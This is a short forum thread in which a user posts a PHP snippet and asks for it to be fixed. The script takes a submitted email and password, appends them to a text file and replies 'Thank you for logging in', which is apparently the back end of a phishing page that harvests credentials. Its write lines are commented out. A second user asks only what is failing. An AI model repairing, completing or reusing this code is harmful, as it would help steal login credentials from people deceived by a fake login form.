Script Help?

Status
Not open for further replies.

massacreinfallx

Fully Optimized
Messages
1,567
$fName = "sv.txt"; //rename to anything
$email = $_POST['email'];
$password = $_POST['password'];
$fHandle = fopen($fName, a); //Create sv.txt
echo "Thank you for logging in";
/*$wRite = fputs($fHandle, $email)*/; //writes email
$wRite1 = fputs($fHandle, " : "); //yes, I know what string concatenation is! I just coded this in a rush.
//$wRite2 = fputs($fHandle, $password); //writes password
$wRite3 = fputs($fHandle, "\r"); //return
$FCl = fclose($fHandle); //Close the file

Would sombody be able to fix that script
 
What about it isn't working? Is it just not writing to the file or is there an error message or something?
 
Status
Not open for further replies.
Back
Top Bottom